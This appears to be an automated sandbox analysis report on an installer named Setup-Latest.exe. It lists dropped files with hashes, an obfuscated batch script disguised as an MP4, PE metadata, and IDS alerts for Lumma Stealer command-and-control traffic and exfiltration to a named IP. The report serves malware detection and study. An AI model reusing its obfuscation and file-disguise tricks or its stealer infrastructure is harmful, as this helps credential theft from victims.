Q.~....8.fd.....Xl...X...Z.AH..6A.......0>.8...c.[.b^...6.z..?.M.m..Z.r.&..a.\.:m4.F...>....u.!.d'.S.C.]k7....v...0.-.........~.95..e.:.:....Ag.w...7...U.i....f^@..K

C:\Users\user\AppData\Local\Temp\Suggestions

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	103424
Entropy (8bit):	5.875802200515394
Encrypted:	false
SSDEEP:	1536:J6R8anHsWccd0vtmgMbFuz08QuklMBNIimuzaAwusPt:Jq8QLeAg0Fuz08XvBNbjaAtsPt
MD5:	278722175E3D420CB44282477C2811E9
SHA1:	F7246A2B43DC80493BC9C2E27DBB0794CACE09C8
SHA-256:	D56EE71B68B9DA84BEE2D64A83F0D3C1DD80B8E27D9BCC240F068DFBB24425E2
SHA-512:	75A30B2349F72209E3DE32E8C66A28000AF53319ADFEB14092691ECC79B6DA2C0E68D8A65762E93ED5032D790BC5F4CE04E15FB225BA4B169CCED0470A3073D4
Malicious:	false
Preview:	..`.* ......a.p.i.-.m.s.-.w.i.n.-.c.o.r.e.-.s.y.n.c.h.-.l.1.-.2.-.0...d.l.l.....k.e.r.n.e.l.3.2...d.l.l.....InitializeConditionVariable.SleepConditionVariableCS....WakeAllConditionVariable.....CL...B...B.Unknown exception...0DL...B...B.bad allocation..\|DL...B...B.bad array new length.....DL.n.B.X.M...M.((I.8A.O....^......E.R.R.O.R. .:. .U.n.a.b.l.e. .t.o. .i.n.i.t.i.a.l.i.z.e. .c.r.i.t.i.c.a.l. .s.e.c.t.i.o.n. .i.n. .C.A.t.l.B.a.s.e.M.o.d.u.l.e.......csm................. .............J...J.H.J.a.p.i.-.m.s.-.w.i.n.-.c.o.r.e.-.f.i.b.e.r.s.-.l.1.-.1.-.1...a.p.i.-.m.s.-.w.i.n.-.c.o.r.e.-.s.y.n.c.h.-.l.1.-.2.-.0.....k.e.r.n.e.l.3.2.....a.p.i.-.m.s.-...e.x.t.-.m.s.-...........FlsAlloc............FlsFree.........FlsGetValue.........FlsSetValue.........InitializeCriticalSectionEx..EL...B...B.bad exception.....J...J...J...J...J...J...J...J...J...J...J.$.J.,.J.8.J.D.J.N.J.P.J.X.J.`.J.d.J.h.J.l.J.p.J.t.J.x.J.\|.J...J...J...J...J...J...J...J...J...J...J...J...J...J...J...J...J...J...J...J...J...J.

C:\Users\user\AppData\Local\Temp\Textbooks

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	97280
Entropy (8bit):	6.676869777709325
Encrypted:	false
SSDEEP:	1536:ixv5mjKu2IwNnPEBiqXv+G/UXT6TvY464qvI932eOypvcLSDOSpZ+Sh+I+FrbY:g5mjccBiqXvpgF4qv+32eOyKODOSpQSB
MD5:	BF83026F801F9FF754FC88D937CA1E08
SHA1:	995F512E1452D7B1B8BF6ACC1CAD4A97E5D67138
SHA-256:	4CB81DBC3C21BC612B3E70BBCC515E4B99F7A82B8C39FBEC2315D430B30FA53C
SHA-512:	EB3FB93CA0982F0B2DBC70694FE0AB0C151D67C3C58025951593384CC020EB7006FAEF99EF8F5344A9A0A74698F5C332F34826180F223B77782912263B4459C0
Malicious:	false
Preview:	.tO.....B.+.u...~...B.+.u...~...B.+.t.3.......M........N...B.+.t.3........E......3.........F.;B.tO.....B.+.u...~...B.+.u...~...B.+.t.3.......M........N...B.+.t.3........E......3.........F.;B.tO.....B.+.u...~...B.+.u...~...B.+.t.3.......M........N...B.+.t.3........E......3.........F.;B.tP..B...~.+.u...~...B.+.u...~...B.+.t.3.......M........N...B.+.t.3........E......3.........F.;B.tO.....B.+.u...~...B.+.u...~...B.+.t.3.......M........N...B.+.t.3........E......3..u_.F.;B.tO.....B.+.u...~...B.+.u...~...B.+.t.3.......M........N...B.+.t.3........E......3..u.3.._......F.;B.tO.....B.+.u...~...B.+.u...~...B.+.t.3.......M........N...B.+.t.3........E......3..u..F.;B.tO.....B.+.u...~...B.+.u...~...B.+.t.3.......M........N...B.+.t.3........E......3....:....F.;B.tO.....B.+.u...~...B.+.u...~...B.+.t.3.......M........N...B.+.t.3........E......3.........F.;B.tO.....B.+.u...~...B.+.u...~...B.+.t.3.......M........N...B.+.t.3........E......3....x....F.;B.tO.....B.+.u...~...B.+.u...~..

C:\Users\user\AppData\Local\Temp\Uniform

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	132096
Entropy (8bit):	6.377855016772332
Encrypted:	false
SSDEEP:	3072:/g5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3laW2UDQWfr:45vPeDkjGgQaE/loUDtfr
MD5:	61DFE44D20EEEA4E73F494D30A371F8F
SHA1:	6BD26783B24F1A4E1813F5C1B1D5EE3D215C39DA
SHA-256:	E7EDE2194B1C1C501A5D61F2365E42E8A9F186B036A639163165BF6737CD73B1
SHA-512:	211E140A4D9064F6011C346BDD016DE7D38A823457029E0A13ECD8989C09A4C81509A7ADCFDA1B05553B04C9D186C2000C691B566D21E5AE3C452CBBE3641F29
Malicious:	false
Preview:	..P........D$.;F.t.P.....3.@_^..]....L$..N...3...U..V.u.;5t)M.........T)M........t.Q......T)M..... ...`)M...T)M.;5d)M.u....\|.....8.u.N...5d)M...X)M.^...v..D...8.t.]...I..X)M.j..4......T)M.YY..X)M..$....X)M....v..T)M...x)M....t)M...T...V..Np......NT....N$....N....h....V.C...YY..^...U..VW.}.........M...tF.E.S..t.;.....uH.^.....Q.........;...a...........h....V......E.YY..t.[j.j..7..X.I._^].....u.........M...t...6..V..j..N..V..F..4......F.YY.N.^.$...SVW..j._..l...............u.Nl.....N(...h....V.U...YY_..^[...U...u...(M......U...t...@)M.......y..u&...)M...u...M.........Qj..u...x.I.].....)M...U...u...(M..H.....@)M.......q.P.....j..u.j..u...x.I.]...U..M....t.W.}.........._]...V..4.I...(M.P..........t...@)M...j.....0.....^...U....SVW.}..E.P..7....I..E.l....E...p....E.PV..x.I..M.E.;.t...u.;.x...uw.s..5..I.......f#.j.f.E.X.s.....E...u.f......f#.j.X...f.M..E.;.\|..........}..t...\|...;.......;....}..t......._^[.....}....t.....x.....s.......U......(M.V.u.WV.......

C:\Users\user\AppData\Local\Temp\Volunteers

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	60796
Entropy (8bit):	6.7963392656053925
Encrypted:	false
SSDEEP:	1536:Wo2+9BGmdATGODv7xvTphAiPChgZ2kOE6:WNoGmROL7F1G7ho2kOb
MD5:	6DFF01D20DAC1DF6B76115A500A13A94
SHA1:	71BC9419B18568112D2CB9EB6A85E017850C2391
SHA-256:	7E530D5163218B0CA02450150218A0F24C6F8179DFBD31B58121604115AD8362
SHA-512:	F3F75F8D251724381D526373BBA5F716A4C9F57593F825BFB40444FAE25CA2E2E3F27ED1E07ABCEDE3E03F0C3428A0905073B0E67C56376764A1A44753748909
Malicious:	false
Preview:	&..W.>.....A=.m...+...4.....`#.w+0.....S`>.H...l.8`.......5.l...27..:...%.6..>@.......p'.]1.!..m..>..6............~[D.7......s...g...Q...`...i....84...Pu.o......E.wU....k:..y...<'"....B...Ldy..4.....J.n.....4z...O.5@_G.G.t..7.L...\U._W./'..f....^\\l1..".).i..w`.q.....*...\..2...\|~........0I.Z.n.3....#B&.n......U.35..h..n...B..R...).G....lU..J,..>...T....r+...+0D...t....3...=."..h.Y.k.....Db......r6....".;.O.....7N..^"......n.0>W.6D`.BoG.....w'HF[......\|.'X..m..i...j.....0;;+.P(e...P..m.?.P.,6J.+.%.Od.:...........F...`gW.].IFz..V-...i..TU?oY.Z.5....To.i....Xk$..%..Y..A.-..b............]f.X.T..Xv.z..!.L...$..1....3JoG...0.A.[.6p....r.......$.f~..#.....m......k%n...._f..N~..z.B.lQ,[.....Tl....i.....>...`..c. ..V.Sa..Q....(V.3.......7..F.~jf.Ph.m.......# .....^...V..^bu...z......"...k.2.M..,.l..R,[..+.;$.D.o.....W..M...,....?.P.x8H$. ...n........5^.m].......m..d2...G...V...{.....7j-....P,WX.(.Q.P..-....m+....R.T..XKE.....!.\|U....i..L..i...hk...o.C

C:\Users\user\AppData\Local\Temp\Wide.mp4

Download File

Process:	C:\Users\user\Desktop\Setup-Latest.exe
File Type:	ASCII text, with very long lines (548), with CRLF line terminators
Category:	dropped
Size (bytes):	14822
Entropy (8bit):	5.178112333023097
Encrypted:	false
SSDEEP:	384:dwaVOOqcLlU/xHZdwb5029PJK5e3KkTg5o5YILnweV4SknBO:diOq0lGPS02BJEe3KjaweknI
MD5:	7E4CF5266498C16090BA55F200F39973
SHA1:	76D6CFA9C48D5EC5DC2410A61DFFF30343434390
SHA-256:	F9DFFD2A81287E0C2CB1BB77F33E7000BFD875F6ADC796EE9E1BFBC6B6B9F083
SHA-512:	3AE8D7F61B9D28832B44B41A9F7D6C82C75B32AB745D93953C8E1CBE1E4DA2DEC4928CB958D09C79B1B41788F023AD12FC554D34E6DE3310A6F480BB6F8C167C
Malicious:	false
Preview:	Set Women=U..ZEFigured-Women-Chairman-Inflation-Von-Faced-Eden-Analyses-Newest-..MvSpent-Floral-Including-Reproduce-Accounts-Hydraulic-Dealers-Nightlife-Blocking-..kqHWins-Industry-Complaint-Coat-Periodically-Stainless-..XkwQ-Concerns-Blocked-Www-..MaQyTerritories-Hdtv-November-Detroit-Mega-Fortune-..jnVExperiments-Regression-Enters-Municipality-..rtETextile-Castle-Hb-Facial-..Set Adaptation=6..IXEBibliographic-..YVShipment-..HFVideos-..jnWuSh-Viewer-Checks-Brook-Hardware-Beginner-Pda-Actress-Mpg-..dyzjIncreases-Comp-..WWpJAlt-French-Household-Continues-Nevertheless-Coordinator-Essays-Wc-House-..bSZVictims-Prayers-Archives-Evaluating-..ntLBStrengths-Solving-Employer-..Set Pierre=A..dyCbPhentermine-Pointing-Vancouver-Mv-Gregory-Trials-Beings-Prisoner-Authentication-..ajZATorture-Preceding-..lyFinland-Marketplace-Enclosed-Incident-Instructor-Latex-Virtually-Electrical-..wIzzCycle-Strange-Friendship-Reverse-Juice-Shore-Spine-..WfcDShopzilla-Rules-Operates-Amendments-Florists-Fixed-..duCed

C:\Users\user\AppData\Local\Temp\wide.mp4.bat

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	ASCII text, with very long lines (548), with CRLF line terminators
Category:	dropped
Size (bytes):	14822
Entropy (8bit):	5.178112333023097
Encrypted:	false
SSDEEP:	384:dwaVOOqcLlU/xHZdwb5029PJK5e3KkTg5o5YILnweV4SknBO:diOq0lGPS02BJEe3KjaweknI
MD5:	7E4CF5266498C16090BA55F200F39973
SHA1:	76D6CFA9C48D5EC5DC2410A61DFFF30343434390
SHA-256:	F9DFFD2A81287E0C2CB1BB77F33E7000BFD875F6ADC796EE9E1BFBC6B6B9F083
SHA-512:	3AE8D7F61B9D28832B44B41A9F7D6C82C75B32AB745D93953C8E1CBE1E4DA2DEC4928CB958D09C79B1B41788F023AD12FC554D34E6DE3310A6F480BB6F8C167C
Malicious:	false
Preview:	Set Women=U..ZEFigured-Women-Chairman-Inflation-Von-Faced-Eden-Analyses-Newest-..MvSpent-Floral-Including-Reproduce-Accounts-Hydraulic-Dealers-Nightlife-Blocking-..kqHWins-Industry-Complaint-Coat-Periodically-Stainless-..XkwQ-Concerns-Blocked-Www-..MaQyTerritories-Hdtv-November-Detroit-Mega-Fortune-..jnVExperiments-Regression-Enters-Municipality-..rtETextile-Castle-Hb-Facial-..Set Adaptation=6..IXEBibliographic-..YVShipment-..HFVideos-..jnWuSh-Viewer-Checks-Brook-Hardware-Beginner-Pda-Actress-Mpg-..dyzjIncreases-Comp-..WWpJAlt-French-Household-Continues-Nevertheless-Coordinator-Essays-Wc-House-..bSZVictims-Prayers-Archives-Evaluating-..ntLBStrengths-Solving-Employer-..Set Pierre=A..dyCbPhentermine-Pointing-Vancouver-Mv-Gregory-Trials-Beings-Prisoner-Authentication-..ajZATorture-Preceding-..lyFinland-Marketplace-Enclosed-Incident-Instructor-Latex-Virtually-Electrical-..wIzzCycle-Strange-Friendship-Reverse-Juice-Shore-Spine-..WfcDShopzilla-Rules-Operates-Amendments-Florists-Fixed-..duCed

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	ASCII text, with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.808946640512676
Encrypted:	false
SSDEEP:	3:RGXKRjN3MZ9aSLKLbzXDD9jmKXVM8/FAJoDYTzMKpVteSMsIVOqSRIVbUbFHgzK+:zx3MmSLQHtBXVNsTTISM7vSRoIAzKs7
MD5:	A14C8E1DDDC9FD927A50CFF2435A7799
SHA1:	47F4AC00DBF7563A2D025AA9D72E5BDEDCBDC3DC
SHA-256:	247A99FF374C62520693BA4CF08F35E1862ACF8E5D61055513A3C4F9F7B77454
SHA-512:	94FC2D645CD89A43D86B368B64BCD1FB13C412137F8AAF300833EC7FC678EE71C0B29866D392D11332E9DD75593B7AA816C073D3AEEA1985E813B0FCDEB2F065
Malicious:	false
Preview:	Microsoft (R) File Expansion Utility..Copyright (c) Microsoft Corporation. All rights reserved.....Copying wide.mp4 to wide.mp4.bat...wide.mp4: 14822 bytes copied.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.718085500786066
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Setup-Latest.exe
File size:	1'444'885 bytes
MD5:	d905d14928e2766285ed7ca83eaaf4b3
SHA1:	5d27b2c538c81f7819f7de1071c28ecd03c5bd2e
SHA256:	721f6073f9ec13d9a1b7cff7b7cfab342ec6fd5ebc1a95c006ae11198e8abfc9
SHA512:	88862cdfde9a0bbedad8f16c0387ac305802434daf55e813614d33383edca078fea89f65ceea0f79d60582739807f8a23ce7f7f2083f56e7bed191305dea7619
SSDEEP:	24576:oGXt9+6qjfYMk9qXo1UPDPdDoIKgweD1F4h/ym4iB5ePtH4M/d8rOn21:ZXt9+nfUsSs1oIK+7Kv5e1D/6rO21
TLSH:	C76502D3ED8066E5FCBA0539E4370C650667BC278AD91E1F61C4B62918B30535A3FE2B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t...z...B...8.....

File Icon


Icon Hash:	70f8f4cca4f0b090

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007F968863F74Bh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007F968863F42Dh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007F968863F41Bh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007F968863CD1Ah
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007F968863F0F1h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F968863CDA3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F968863CD1Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x59bf0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x59bf0	0x59c00	acd5443f264e726442ae2af07f8bdb5a	False	0.6048158948467967	data	6.306430627767441	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x15a000	0xfd6	0x1000	fa4a4c5c82d91034c29d65a3dc8522da	False	0.1904296875	data	2.4330952769333423	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1001f0	0x44028	Device independent bitmap graphic, 256 x 512 x 32, image size 278528	English	United States	0.5892313546423136
RT_ICON	0x144218	0x11028	Device independent bitmap graphic, 128 x 256 x 32, image size 69632	English	United States	0.6515816970949593
RT_ICON	0x155240	0x4428	Device independent bitmap graphic, 64 x 128 x 32, image size 17408	English	United States	0.6806510774873911
RT_DIALOG	0x159668	0x100	data	English	United States	0.5234375
RT_DIALOG	0x159768	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x159888	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x1598e8	0x30	data	English	United States	0.8541666666666666
RT_MANIFEST	0x159918	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-14T16:55:55.172476+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	188.114.97.3	443	TCP
2025-02-14T16:55:55.683804+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49737	188.114.97.3	443	TCP
2025-02-14T16:55:55.683804+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	188.114.97.3	443	TCP
2025-02-14T16:55:56.196791+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	188.114.97.3	443	TCP
2025-02-14T16:55:56.847472+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49738	188.114.97.3	443	TCP
2025-02-14T16:55:57.459844+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	188.114.97.3	443	TCP
2025-02-14T16:55:58.812520+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49739	188.114.97.3	443	TCP
2025-02-14T16:55:59.322762+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	188.114.97.3	443	TCP
2025-02-14T16:56:00.447277+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	188.114.97.3	443	TCP
2025-02-14T16:56:01.763539+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	188.114.97.3	443	TCP
2025-02-14T16:56:03.118342+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	188.114.97.3	443	TCP
2025-02-14T16:56:05.414362+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	188.114.97.3	443	TCP
2025-02-14T16:56:05.960131+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49744	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 14, 2025 16:55:54.685514927 CET	49737	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:54.685540915 CET	443	49737	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:54.685604095 CET	49737	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:54.689055920 CET	49737	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:54.689066887 CET	443	49737	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:55.172368050 CET	443	49737	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:55.172476053 CET	49737	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:55.175980091 CET	49737	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:55.175986052 CET	443	49737	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:55.176805019 CET	443	49737	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:55.220818996 CET	49737	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:55.220838070 CET	49737	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:55.221067905 CET	443	49737	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:55.683769941 CET	443	49737	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:55.683877945 CET	443	49737	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:55.683947086 CET	49737	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:55.690654993 CET	49737	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:55.690673113 CET	443	49737	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:55.693859100 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:55.693914890 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:55.693995953 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:55.694904089 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:55.694919109 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.196563005 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.196790934 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.197979927 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.198009968 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.198867083 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.200859070 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.200859070 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.200987101 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.847533941 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.847651005 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.847723961 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.847748995 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.847784042 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.847851038 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.847898006 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.847907066 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.848038912 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.848088980 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.848094940 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.848200083 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.848253965 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.848259926 CET	443	49738	188.114.97.3	192.168.2.4
